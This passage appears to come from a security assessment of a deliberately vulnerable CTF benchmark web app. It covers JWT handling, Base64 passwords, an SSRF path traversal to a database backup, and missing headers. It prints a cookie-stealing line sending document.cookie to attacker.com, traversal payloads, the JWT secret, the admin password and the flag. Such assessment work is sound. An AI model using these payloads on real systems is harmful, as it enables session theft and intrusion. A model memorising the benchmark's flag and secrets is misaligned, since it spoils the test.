The cookie has a 7-day expiration (`{expires: 7}`) while the JWT itself expires in 1 hour (`expiresIn: '1h'`). This mismatch means the cookie persists for 6 days after the token becomes invalid, potentially confusing users and creating stale token scenarios.

**Session Validation Mechanism**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/actions/sessionManager.ts` (Lines 7-17)

Server components validate sessions using the `checkSession()` server action:

```typescript
export async function checkSession(token: string) {
    const response = await fetch(`http://localhost:3000/api/user?token=${token}`, {
        method: "GET",
        headers: {
            "Content-Type": "application/json",
        },
    });
    
    const data = await response.json();
    return data;
}
```

**Critical Security Issues:**

1. **JWT Token in Query Parameter:**
   - **Impact:** Token logged in web server access logs, Nginx access logs, browser history, Referer headers
   - **Log Exposure:** Every request logs: `GET /api/user?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...`
   - **Persistence:** Tokens persist in log rotation, backup logs, log aggregation systems (Splunk, ELK)
   - **Severity:** HIGH - Token leakage through multiple channels
   - **Correct Implementation:** Should use `Authorization: Bearer {token}` header instead

2. **Hardcoded Localhost URL:**
   - **Impact:** Code won't work in production deployment with multiple instances
   - **Severity:** MEDIUM - Operational failure, possible security bypass if load balancer handles differently

3. **No Timeout Configuration:** The fetch request has no timeout, potentially hanging indefinitely

**Logout Implementation: Client-Side Only**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/logout/page.tsx` (Lines 6-13)

```typescript
export default function Logout() {
    const router = useRouter();
    
    Cookies.remove("token");
    router.push("/");
    
    return(<>Logging out...</>);
}
```

**Vulnerability:** This client-side logout only removes the cookie from the browser. The JWT token itself remains valid for up to 1 hour until expiration. An attacker who steals a token before logout can continue using it until expiration—there is no server-side token revocation, blacklist, or invalidation mechanism.

### Authorization Model

**Role-Based Access Control (RBAC): Single-Bit Privilege Flag**  
**Database Field:** `isMaster` (INTEGER: 0 = standard user, 1 = administrator)

The application implements the simplest possible RBAC model—a single binary flag in the users table determines administrative privileges. Only one user has master access:

- **UID:** 9666
- **Email:** will.rogers@manapool.com  
- **Name:** William Rogers
- **Password (Base64):** Tm9FTlZNeGpHSzNOM2tH → decodes to `NoENVMxjGK3N3kG`
- **isMaster:** 1 (Administrator)
- **Balance:** 7990 M$

All other users (nayla.sanches, murilo.mac, chris.paulman, julia.mattarazo) have `isMaster: 0`.

**Authorization Enforcement Points:**

**1. Admin Panel Access Control**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/page.tsx` (Lines 6-18)

```typescript
export default async function AdminPanel() {
    const token = cookies().get("token")?.value as string;
    const session = token ? await checkSession(token) : null;
    
    if(session && !session?.error && token !== "") {
        redirect("/adminpanel/profile");
    }

    return (
        <div className="adminpanel__login">
            {(session?.error || !session) && <LoginForm />}
        </div>
    );
}
```

This server-side check validates the JWT token and redirects authenticated users to the profile page. It correctly checks for session errors and missing tokens, but doesn't verify the `isMaster` privilege at this stage—any authenticated user can proceed to the profile page.

**2. Profile Page Authorization**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/profile/page.tsx` (Lines 6-27)

```typescript
export default async function AdminProfile () {
    const token = cookies().get("token")?.value as string;
    const session = await checkSession(token);

    if(session.error) {
        redirect("/adminpanel");
    }

    const ProfileProps: IProfileProps = {
        name: session?.user?.name as string,
        email: session?.user?.email as string,
        amount: session?.user?.amount as number,
        isMaster: session?.user?.isMaster as number,
    };

    return (
        <>
            {session.error && <div>Unauthorized.</div>}
            {!session.error && <Profile {...ProfileProps} />}
        </>
    );
}
```

This code retrieves the user's `isMaster` value from the `/api/user` endpoint and passes it to the Profile component. The authorization check happens client-side in the component, not server-side before rendering.

**3. Flag Display Logic: Client-Side Authorization**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/components/Profile.tsx` (Lines 11, 37-41)

```typescript
const flag = process.env.FLAG;

// Lines 37-41:
<div className="mb-16">
    <label className="font-bold">Flag</label>
    {props.isMaster && <p className="flag__is__here text-green-400">{flag}</p>}
    {!props.isMaster && <p className="flag__is__here text-red-400">Access denied.</p>}
</div>
```

**CRITICAL AUTHORIZATION VULNERABILITY:**

The flag display decision is made client-side based on the `props.isMaster` value. While this is a React Server Component (rendering happens server-side), the authorization logic relies entirely on data returned from the `/api/user` endpoint. This creates a critical trust boundary issue:

1. **Trust Model Flaw:** The server trusts the JWT token's embedded UID, fetches the user from database, and returns the `isMaster` flag to the component
2. **Attack Vector:** If an attacker can forge a JWT with `uid: "9666"` (using the leaked secret key), they obtain `isMaster: 1` from the database
3. **Alternative Attack:** If an attacker can manipulate the `/api/user` response (e.g., via SSRF, proxy injection, or response manipulation), they can inject `isMaster: 1`
4. **No Server-Side Re-verification:** The Profile component doesn't re-verify privileges before accessing `process.env.FLAG`—it trusts the session data implicitly

**Correct Implementation:** The flag should only be accessed after a server-side authorization check that re-verifies the user's isMaster status directly from the database:

```typescript
const user = await fetchUser(session.uid);
if (user.isMaster !== 1) {
    return <div>Access denied</div>;
}
const flag = process.env.FLAG;
```

**SSO/OAuth/OIDC Flows:**  
**Status:** NOT IMPLEMENTED - No external authentication providers, OAuth flows, or OIDC integrations detected.

**State/Nonce Parameter Validation:**  
**Status:** NOT APPLICABLE - No OAuth callback endpoints found. If OAuth were implemented, state and nonce validation would need to be added to prevent CSRF and replay attacks.

### Multi-Factor Authentication

**Status:** ❌ **NOT IMPLEMENTED**

The application has no multi-factor authentication mechanism. Even administrator accounts rely solely on passwords (Base64-encoded) with no second factor. This violates security best practices for high-privilege accounts and compliance requirements (PCI DSS, SOC 2).

### Privilege Escalation Paths

The analysis identifies multiple paths to escalate from a standard user (isMaster=0) to administrator (isMaster=1):

**Path 1: JWT Secret Compromise → Token Forgery**
1. Extract JWT secret from `.env` file (committed to Git): `2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU=`
2. Craft JWT token with `uid: "9666"` (William Rogers, master admin)
3. Use forged token to access `/api/user`, which returns `isMaster: 1` from database
4. Access `/adminpanel/profile` with forged token to retrieve flag

**Path 2: Database Backup Access → Password Recovery**
1. Exploit SSRF in `/api/s3/[slug]` to access `/backups/manapool.db`
2. Download database backup containing user table
3. Decode Base64 password: `Tm9FTlZNeGpHSzNOM2tH` → `NoENVMxjGK3N3kG`
4. Login as will.rogers@manapool.com with decoded password
5. Access admin panel and retrieve flag

**Path 3: Session Hijacking via XSS**
1. Discover XSS vulnerability (not found in current analysis, but lack of CSP makes exploitation trivial)
2. Inject JavaScript to steal cookie: `fetch('https://attacker.com/?c=' + document.cookie)`
3. Cookie lacks httpOnly flag, allowing JavaScript access
4. Use stolen token to impersonate user (works for up to 1 hour)

**Path 4: CSRF via Wildcard CORS**
1. Create malicious webpage with cross-origin request to server actions
2. Exploit `allowedOrigins: ["*"]` in next.config.mjs
3. Trick authenticated admin user into visiting malicious page
4. Execute server actions with admin privileges
5. Potentially manipulate session or data to gain access

The most practical attack path combines Path 1 and Path 2: use SSRF to access the database backup, decode the admin password, and login legitimately. This requires no exploitation of cryptographic weaknesses (since there aren't any) and no complex token forgery—just exploitation of the publicly accessible database backup and trivial Base64 decoding.

---

## 4. Data Security & Storage

### Database Security Analysis

**Database Type:** SQLite 3  
**Primary Database:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/db/manapool.db`  
**Backup Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/s3/buckets/backups/manapool.db._S3rver_object`

**Database Schema:**
```sql
CREATE TABLE IF NOT EXISTS "users" (
    "uid"      TEXT,
    "email"    TEXT,
    "name"     TEXT,
    "password" TEXT,
    "isMaster" INTEGER,
    "amount"   INTEGER
);
```

**User Records (5 total):**
| UID | Email | Name | Password (Base64) | isMaster | Amount |
|-----|-------|------|-------------------|----------|--------|
| 3789 | nayla.sanches@manapool.com | Nayla Sanches | dlQ2aW9PQkpJeWVLME8x | 0 | 2507 |
| 4890 | murilo.mac@manapool.com | Murilo Mac | TFFPbkxiSFFsMU1kNmJM | 0 | 1991 |
| 6785 | chris.paulman@manapool.com | Christian Paulman | UmxsS1NoSE9MWFZCQ1Nh | 0 | 4563 |
| 9666 | will.rogers@manapool.com | William Rogers | Tm9FTlZNeGpHSzNOM2tH | 1 | 7990 |
| 7771 | julia.mattarazo@manapool.com | Julia Mattarazo | b0pIT0diN3J4Qk91aTRy | 0 | 5783 |

**Critical Vulnerability: Unencrypted Database Backup Exposed via S3**

The most severe data security vulnerability is the complete database backup stored in the S3 service's `/backups` bucket without any encryption. This backup contains the entire users table with all sensitive data including:
- Email addresses (PII)
- Full names (PII)  
- User IDs
- Base64-encoded passwords (trivially reversible)
- Administrative privilege flags (isMaster)
- Account balance information (amount)

The backup is accessible through multiple attack vectors:
1. **Direct S3 Access (if Nginx restrictions bypassed):** `http://nginx:8333/backups/manapool.db`
2. **SSRF via Frontend Proxy:** `GET /api/s3/../backups/manapool.db` (path traversal)
3. **Internal Network Access:** Any compromise of frontend service provides direct access to S3 service
4. **File System Access:** If attacker gains shell access to S3 container: `/buckets/backups/manapool.db._S3rver_object`

The database file is a standard SQLite 3 database (magic bytes: `SQLite format 3\000`) with no encryption applied. An attacker who obtains this file can immediately query all data using any SQLite client. The passwords can be decoded from Base64 in seconds, yielding plaintext credentials for all users.

**Database Access Controls & Encryption at Rest**

The primary database file has insufficient file permissions:
```bash
-rw-r--r-- 1 arjunmalleswaran staff 8192 Oct 28 16:02 manapool.db
```

File permissions `644` make the database world-readable—any user on the system can read the file. In a containerized environment, this means any process in the frontend container has read access. Combined with the lack of encryption at rest, this creates multiple data exposure vectors:
- Container escape exploits
- Process injection attacks
- Memory dumping
- Volume mounting from host system
- Kubernetes/Docker secret extraction

**Database Connection Security**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/db/sqlite.tsx` (Lines 20-33)

```typescript
export const getDB = async () => {
    "use server";

    if (!_db) {
        _db = await open({
            filename: "./db/manapool.db",
            driver: sqlite3.Database,
        })
    }

    const test = await _db.all("SELECT * FROM users;");  // Line 30 - UNNECESSARY
    return _db;
}
```

**Security Issues:**
1. **Unnecessary Query:** Line 30 executes `SELECT * FROM users` on every connection initialization, retrieving all user records including passwords for no functional purpose. This degrades performance and increases information disclosure risk if logs capture query results.
2. **Global Connection Handle:** The `_db` variable stores the database connection globally without proper cleanup or connection pooling.
3. **No Connection Timeout:** No timeout configuration for database operations.
4. **No Encryption:** SQLite connections have no encryption layer (not applicable to file-based SQLite).

**Positive Security Control: SQL Injection Prevention**

The application correctly implements parameterized queries using sqlite3's prepared statement API, completely eliminating SQL injection vulnerabilities:

```typescript
// Good - Parameterized query prevents SQL injection
export const signIn = async (credentials: TCredentials) => {
    "use server"
    const db = await getDB();
    const query = "SELECT * FROM users WHERE email = ? AND password = ?";
    const stmt = await db.prepare(query);
    const user = await stmt.all(credentials.email, credentials.password);
    
    await stmt.finalize();
    return user;
}
```

The `?` placeholders are safely substituted by the sqlite3 driver, preventing any SQL syntax injection. No string concatenation or template literals are used for query construction. This pattern is consistently applied across both `signIn()` and `fetchUser()` functions.

### Data Flow Security: Sensitive Data Paths

**1. User Credential Flow (Login):**
```
User Input → LoginForm.tsx → POST /api/auth → auth.ts → signIn() → SQLite → Base64 Compare → JWT Generation → Cookie Storage → Client Browser
```

**Security Analysis:**
- Input enters via React form (client-side)
- Transmitted to `/api/auth` (should be HTTPS, currently HTTP in dev)
- XSS and validator sanitization applied (line 22-23 of auth.ts)
- Base64 encoding applied before database query
- Database comparison using parameterized query (secure against injection)
- JWT signed with hardcoded secret (vulnerable to forgery)
- Cookie set client-side without security flags (vulnerable to XSS theft)
- **Data Exposure Points:** Console logging of UID (line 42), error logging (line 56)

**2. Session Validation Flow:**
```
Cookie → Server Component → checkSession() → fetch localhost:3000/api/user?token= → user.ts → JWT Verify → fetchUser() → SQLite → User Data Return
```

**Security Analysis:**
- Token extracted from cookie by Next.js `cookies()` API (server-side, secure)
- Token passed to `checkSession()` as query parameter (vulnerable to logging)
- JWT verified using jsonwebtoken library (correct)
- User data fetched from database using UID from JWT
- Full user object returned including `isMaster` privilege flag
- **Data Exposure Points:** Token in URL logged in access logs, console logs

**3. Sensitive Data in Database:**
- **PII:** Email addresses, full names, user IDs
- **Authentication:** Passwords (Base64-encoded, easily reversible)
- **Authorization:** isMaster privilege flags
- **Financial:** Account balances (amount field)

All sensitive data is stored in plaintext (or plaintext-equivalent Base64) without encryption at rest. The database has no column-level encryption, transparent data encryption (TDE), or application-level encryption of sensitive fields.

### Multi-Tenant Data Isolation

**Status:** ❌ **NOT APPLICABLE**

The application does not implement multi-tenancy. All users share a single database with no tenant separation, row-level security, or data segregation. The `isMaster` flag provides vertical privilege separation (admin vs. user) but no horizontal isolation between users.

If multi-tenancy were required, the current architecture would need:
- Tenant ID column in all tables
- Row-level security policies
- Application-level tenant context enforcement
- Database connection pooling per tenant
- Separate schemas or databases per tenant (for strongest isolation)

### Encryption Implementation Analysis

**Password Hashing: Complete Absence**

As detailed in Section 3, the application uses Base64 encoding instead of cryptographic hashing for passwords. This represents a complete failure to implement encryption for the most critical authentication data. The correct implementation requires:

```typescript
import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12; // Cost factor for bcrypt

async function hashPassword(password: string): Promise<string> {
    return await bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
    return await bcrypt.compare(password, hash);
}
```

**Data Encryption at Rest: Not Implemented**

No encryption is applied to:
- Database files (SQLite .db files)
- Database backups in S3
- Log files
- Session data
- Temporary files

**Transport Layer Security:**

The application uses HTTP for all communication in the development/Docker environment. While the docker-compose configuration doesn't expose HTTPS ports, production deployments should implement:
- TLS 1.3 for all external communication
- Certificate management (Let's Encrypt, AWS Certificate Manager)
- HSTS headers to enforce HTTPS
- Certificate pinning for mobile apps (if applicable)

### Secret Management Vulnerabilities

**Critical: Secrets in Version Control**  
**Files:** `.env` and `frontend/.env` committed to Git repository

```env
# Root .env
FLAG="flag{1435b29b-5d02-4320-8377-dc1db54c035d}"

# Frontend .env
SECRET_KEY = "2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU="
FLAG="@FLAG@"
```

Both files have world-readable permissions (644) and are tracked in version control. This exposes:
- JWT signing secret to all repository contributors, CI/CD systems, and anyone with repository access
- CTF flag value (though this is replaced during build)
- Historical secrets in Git commit history

**Build-Time Secret Injection**  
**File:** `frontend/Dockerfile` (Lines 10-11)

```dockerfile
ARG FLAG
RUN sed -i s/@FLAG@/$FLAG/g .env
```

This approach embeds the FLAG value in a Docker image layer. The secret is visible via `docker history` and persists even if deleted later. The correct approach uses runtime environment variables or Docker BuildKit secrets with `--mount=type=secret`.

**No Secrets Rotation Policy**

The JWT secret appears static with no rotation mechanism. Best practices require:
- Periodic secret rotation (90-day maximum)
- Automated rotation via secret management systems
- Grace period supporting both old and new secrets during rotation
- Audit logging of secret access

**Recommended Secret Management:**
- **Development:** Use `.env.example` templates, never commit actual `.env`
- **Production:** AWS Secrets Manager, Azure Key Vault, HashiCorp Vault, or Kubernetes Secrets
- **Container:** Docker secrets, Kubernetes secrets with RBAC
- **Access Control:** Principle of least privilege—only processes needing secrets get access

---

## 5. Attack Surface Analysis

### External Entry Points: Complete Inventory

**Network-Accessible Components (In-Scope):**

The attack surface consists of 8 HTTP endpoints in the Next.js application plus 1 S3 API endpoint, all accessible through the Nginx reverse proxy:

**1. POST /api/auth - Authentication Endpoint**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/auth.ts:14`
- **Authentication:** Public (no auth required)
- **Input Parameters:** email (string), password (string)
- **Validation:** XSS filtering via `xss()`, email normalization via `validator.normalizeEmail()`, password escaping via `validator.escape()`
- **Rate Limiting:** ❌ None - unlimited login attempts
- **CSRF Protection:** ❌ None - no CSRF tokens
- **Attack Vectors:** Brute force, credential stuffing, timing attacks
- **Security Impact:** Weak validation allows brute-force attacks; lack of rate limiting enables automated password guessing against known emails

**2. GET /api/user?token={jwt} - User Information Retrieval**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/user.ts:16`
- **Authentication:** Authenticated (requires valid JWT token)
- **Input Parameters:** token (query parameter, JWT string)
- **Validation:** JWT signature verification via jsonwebtoken library
- **Rate Limiting:** ❌ None
- **Security Issues:** Token in query parameter (logged in access logs, browser history, Referer headers)
- **Attack Vectors:** Token leakage via logs, token interception, replay attacks
- **Security Impact:** Token exposure through logging creates persistent authentication compromise risk

**3. GET /api/s3/[slug] - S3 Image Proxy (CRITICAL SSRF VULNERABILITY)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/pages/api/s3/[slug].ts:2`
- **Authentication:** Public (no auth required)
- **Input Parameters:** slug (URL path parameter, filename)
- **Validation:** ❌ NONE - filename extracted from URL without sanitization
- **Attack Vectors:** Server-Side Request Forgery, path traversal, internal service scanning
- **Security Impact:** CRITICAL - Allows attackers to proxy requests to internal services, access database backups, scan internal network
- **Exploitation:** `GET /api/s3/../backups/manapool.db` to access database backup

**4. GET / - Home Page**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/page.tsx:4`
- **Authentication:** Public
- **Functionality:** Landing page with S3-hosted images
- **Database Access:** Initializes database connection via `getDB()` (unnecessary on public page)
- **Attack Vectors:** Information disclosure via error messages, database connection exhaustion
- **Security Impact:** LOW - Mainly information gathering

**5. GET /team - Team Member Directory**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/team/page.tsx:3`
- **Authentication:** Public
- **Functionality:** Displays team member profiles with S3-hosted images
- **Images Loaded:** 5 profile photos from `/api/s3/` endpoint
- **Attack Vectors:** User enumeration, image manipulation via SSRF
- **Security Impact:** LOW - Information disclosure of employee names

**6. GET /adminpanel - Admin Login Page**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/page.tsx:6`
- **Authentication:** Public (login page, redirects if already authenticated)
- **Session Check:** Calls `checkSession()` to verify existing tokens
- **Attack Vectors:** Session enumeration, admin panel discovery
- **Security Impact:** LOW - Expected functionality, no direct vulnerability

**7. GET /adminpanel/profile - Admin Profile (FLAG LOCATION)**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/profile/page.tsx:6`
- **Authentication:** Authenticated (requires valid JWT)
- **Authorization:** Flag display requires `isMaster=1`
- **Session Check:** Redirects to `/adminpanel` if session error
- **Flag Display:** Line 18 of Profile.tsx component - `{props.isMaster && <p>{flag}</p>}`
- **Attack Vectors:** Authentication bypass, privilege escalation, token forgery
- **Security Impact:** HIGH - Contains CTF objective (flag)

**8. GET /logout - Logout Page**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/logout/page.tsx:6`
- **Authentication:** Public (client-side only)
- **Functionality:** Removes token cookie, redirects to home
- **Security Issue:** Client-side only—JWT remains valid server-side
- **Attack Vectors:** Token reuse after logout
- **Security Impact:** MEDIUM - Stolen tokens work after user logout

**9. S3 Service Endpoint - Object Storage API**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/s3/s3.js:3`
- **Service:** S3rver library (S3-compatible API)
- **Port:** 8333 (exposed through Nginx)
- **Authentication:** ❌ None - unauthenticated access
- **HTTP Methods:** GET, HEAD, OPTIONS only (Nginx restriction via `limit_except`)
- **Buckets:** `/assets` (8 image files), `/backups` (database backup)
- **Attack Vectors:** Direct bucket access, enumeration, backup download
- **Security Impact:** HIGH - Nginx restrictions provide partial protection, but SSRF bypasses this

### Input Validation Patterns: Network-Accessible Endpoints

**Validation Implementation Summary:**

| Endpoint | Input Source | Validation Applied | Sanitization | Parameterization |
|----------|--------------|-------------------|--------------|------------------|
| POST /api/auth | Request body | Type checking | XSS + validator | ✅ SQL params |
| GET /api/user | Query param | JWT signature | None | N/A |
| GET /api/s3/[slug] | URL path | ❌ NONE | ❌ NONE | N/A |
| Server pages | Cookies | Session check | N/A | N/A |

**Strong Validation (Authentication Endpoint):**  
The `/api/auth` endpoint implements layered validation:
```typescript
// Type checking
if (!email || !password) {
    return res.status(400).json({ error: "Missing credentials." });
}

// Sanitization
const sanitizedEmail = validator.normalizeEmail(xss(email));
const sanitizedPassword = stringToBase64(xss(validator.escape(password)));
```

This prevents XSS payloads in credentials and normalizes email formats, though the Base64 encoding undermines password security.

**No Validation (S3 Proxy - CRITICAL):**  
The `/api/s3/[slug]` endpoint performs zero validation:
```typescript
const image = req.url?.split("/").reverse()[0];  // Direct extraction
const response = await fetch(`http://s3:8333/assets/${image}`);  // No validation
```

This allows arbitrary strings in the `image` parameter, enabling:
- Path traversal: `../backups/manapool.db`
- Protocol manipulation attempts: `file:///etc/passwd` (may fail at fetch level)
- Internal service scanning: `../../internal-service/api/status`

**JWT Validation (User Endpoint):**  
The `/api/user` endpoint validates JWT signatures correctly:
```typescript
const decodedToken = jwt.verify(token, secret) as unknown as { uid: string };
```

This prevents token forgery (unless the secret is compromised, which it is). The library throws exceptions for invalid signatures, expired tokens, or malformed JWTs.

### Internal Service Communication: Trust Relationships

**Frontend → S3 Communication (Untrusted):**
- **Protocol:** HTTP over internal Docker network
- **Authentication:** None required
- **Trust Model:** Frontend completely trusts S3 service responses
- **Vulnerability:** Frontend proxies user requests to S3 without validation, creating SSRF
- **Data Flow:** User input → Frontend `/api/s3/[slug]` → `http://s3:8333/assets/${image}` → Response proxied to user

The frontend service has unrestricted access to all S3 buckets (/assets, /backups) and all HTTP methods when making internal requests. The Nginx method restrictions (`limit_except GET HEAD OPTIONS`) only apply to external requests on port 8333, not internal frontend-to-S3 communication.

**Frontend → Database (Trusted):**
- **Connection:** Direct file access to `/app/db/manapool.db`
- **Authentication:** File system permissions only
- **Trust Model:** Database queries are trusted as parameterized
- **Security:** Correctly implements prepared statements preventing SQL injection

**Nginx → Frontend/S3 (Reverse Proxy):**
- **Trust Model:** Nginx blindly proxies requests and responses
- **Header Handling:** Sets `Host` header, no other modifications
- **Security:** No request/response inspection, no WAF rules, no input validation

### Background Processing: Async Job Security

**Status:** ❌ **NOT IMPLEMENTED**

The application has no background job processing, async workers, queue systems, or scheduled tasks. All processing is synchronous request-response. If background processing were added, security considerations would include:
- Job queue authentication (Redis, RabbitMQ, etc.)
- Job payload validation and sanitization
- Privilege separation for worker processes
- Rate limiting on job creation
- Audit logging of background operations

### API Schema Files

**Status:** ❌ **NONE FOUND**

No OpenAPI/Swagger specifications, GraphQL schemas, or JSON Schema files were discovered in the codebase. The API structure must be inferred from code analysis. This increases reconnaissance difficulty for attackers but also hinders security testing and documentation.

---

## 6. Infrastructure & Operational Security

### Secrets Management

As detailed in Section 4, the application implements dangerously insecure secrets management:

**Hardcoded Secrets in Version Control:**
- **JWT Secret:** `2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU=` in `frontend/.env`
- **CTF Flag:** `flag{1435b29b-5d02-4320-8377-dc1db54c035d}` in root `.env`
- **Permissions:** 644 (world-readable) on both .env files
- **Git Exposure:** Committed to repository, visible in Git history

**Docker Build-Time Secrets:**
```dockerfile
ARG FLAG
RUN sed -i s/@FLAG@/$FLAG/g .env
```

The FLAG is embedded in Docker image layers, persisting even after container deletion and visible via `docker history`.

**No Secret Rotation:**  
No mechanisms exist for rotating the JWT secret, database credentials, or API keys. A compromised secret remains valid indefinitely until manual intervention.

**Recommended Remediation:**
1. **Immediate:** Remove .env files from Git, clean Git history with BFG Repo-Cleaner
2. **Short-term:** Implement environment variable injection at runtime (docker-compose env_file)
3. **Long-term:** Use Docker Secrets, Kubernetes Secrets, AWS Secrets Manager, or HashiCorp Vault
4. **Policy:** Implement 90-day secret rotation, automated rotation for supported systems

### Configuration Security

**Environment Separation:**  
The application has minimal environment separation. The same `.env` files are used across development and deployment. No evidence of separate staging/production configurations.

**Security Headers - CRITICAL ABSENCE:**

**Nginx Configuration Analysis:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/nginx/nginx.conf`

The Nginx configuration implements basic proxying with minimal security controls:

```nginx
server {
    listen 80;
    
    client_header_buffer_size 16k;
    large_client_header_buffers 4 32k;
    client_max_body_size 8m;
    
    location / {
        proxy_pass http://frontend:3000;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
    }
}

server {
    listen 8333;
    
    location / {
        proxy_pass http://s3:8333;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        
        limit_except GET HEAD OPTIONS {
            deny all;
        }
    }
}
```

**Missing Critical Security Headers:**

Searching infrastructure configuration (Nginx, Kubernetes manifests, CDN settings) reveals **NO security headers** are configured:

- ❌ **Strict-Transport-Security (HSTS):** Not configured - allows HTTP downgrade attacks
- ❌ **Content-Security-Policy (CSP):** Not configured - no XSS mitigation via script restrictions
- ❌ **X-Frame-Options:** Not configured - allows clickjacking attacks
- ❌ **X-Content-Type-Options:** Not configured - allows MIME sniffing attacks
- ❌ **X-XSS-Protection:** Not configured (deprecated but still useful for old browsers)
- ❌ **Referrer-Policy:** Not configured - may leak sensitive URLs in Referer header
- ❌ **Permissions-Policy:** Not configured - no feature restrictions
- ❌ **Cache-Control:** Not configured for sensitive endpoints - tokens/data may be cached

**Location of Security Header Configuration (Currently Absent):**  
Security headers should be added in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/nginx/nginx.conf`:

```nginx
# Recommended addition to both server blocks:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate" always;
```

**Next.js Configuration Security Issues:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/next.config.mjs` (Lines 7-11)

```javascript
experimental: {
    serverActions: {
      allowedOrigins: ["*"],  // CRITICAL VULNERABILITY
    }
}
```

This wildcard CORS configuration for Server Actions completely disables same-origin policy enforcement. Any website on the internet can invoke server actions marked with `"use server"`, enabling CSRF attacks against the `checkSession()` function and any future server actions.

**Docker Compose Security Configuration:**  
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/docker-compose.yml`

```yaml
services:
  frontend:
    build:
      context: ./frontend
      args:
        - FLAG=${FLAG}  # Build-time secret injection
    depends_on:
      - s3
    networks:
      - internal
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000"]
      interval: 10s
      timeout: 5s
      retries: 3
```

**Security Issues:**
- ❌ No user context specified (runs as root)
- ❌ No read-only filesystem restrictions
- ❌ No capability dropping
- ❌ No resource limits (CPU, memory)
- ✅ Health checks implemented (good for availability)
- ❌ Secrets passed as build args (visible in docker history)

### External Dependencies

**Frontend Dependencies (package.json):**

**Security-Relevant Production Dependencies:**
- `jsonwebtoken: ^9.0.2` - JWT library (up-to-date, no known critical CVEs)
- `validator: ^13.12.0` - Input validation (up-to-date)
- `xss: ^1.0.15` - XSS filtering (up-to-date)
- `axios: ^1.7.2` - HTTP client (up-to-date)
- `sqlite3: ^5.1.7` - Database driver (up-to-date)
- `next: 14.2.3` - Framework (recent version, check for updates)

**Unused Security Dependency:**
- `iron-session: ^8.0.1` - Encrypted session library installed but never imported or used (dead dependency)

**Dependency Security Assessment:**
- ✅ No obvious outdated critical dependencies
- ⚠️ Regular dependency audits recommended: `npm audit`
- ⚠️ Automated updates via Dependabot or Renovate recommended
- ❌ No Software Bill of Materials (SBOM) generated

**S3 Service Dependencies:**
- `s3rver: ^3.7.1` - Mock S3 server (check for security updates)

**External Service Integrations:**  
**None detected.** The application is self-contained with no external API calls, payment processors, email services, or third-party integrations. This reduces attack surface but also means no defense-in-depth from security-focused SaaS providers.

### Monitoring & Logging

**Logging Implementation:**

The application uses console-based logging with several security issues:

**1. Sensitive Data Logged:**
- **User IDs:** `console.log(userResult[0].uid)` in auth.ts:42
- **Internal URLs:** `console.log("FETCHING IMAGE FROM", \`http://s3:8333/assets/${image}\`)` in s3/[slug].ts:10
- **Error Stack Traces:** `console.error("Sign-in error:", error)` in auth.ts:56

**2. No Structured Logging:**
- Plain console.log/error without structured fields
- No log levels (DEBUG, INFO, WARN, ERROR)
- No request ID correlation across log entries
- No user context in logs

**3. No Security Event Monitoring:**
- No logging of authentication failures
- No logging of authorization failures
- No logging of suspicious SSRF attempts
- No logging of rate limit violations (not implemented)

**4. No Log Aggregation:**
- Logs remain in individual containers
- No centralized logging (ELK, Splunk, CloudWatch)
- No log retention policy
- No alerting on security events

**Recommended Monitoring Implementation:**

```typescript
// Structured logging with winston or pino
import logger from '@/lib/logger';

logger.info('Authentication attempt', {
    email: sanitizedEmail,
    sourceIP: req.socket.remoteAddress,
    userAgent: req.headers['user-agent'],
    requestId: req.id
});

logger.warn('Authentication failed', {
    email: sanitizedEmail,
    reason: 'Invalid credentials',
    sourceIP: req.socket.remoteAddress
});
```

**Security Metrics to Monitor:**
- Failed authentication attempts (rate, source IPs)
- Successful authentications from new IPs/devices
- Authorization failures (attempts to access admin endpoints)
- SSRF attempts (unusual patterns in /api/s3 requests)
- Database query errors
- Unusual token validation failures
- High-frequency API requests (potential DoS)

**Missing Monitoring Infrastructure:**
- ❌ No SIEM (Security Information and Event Management)
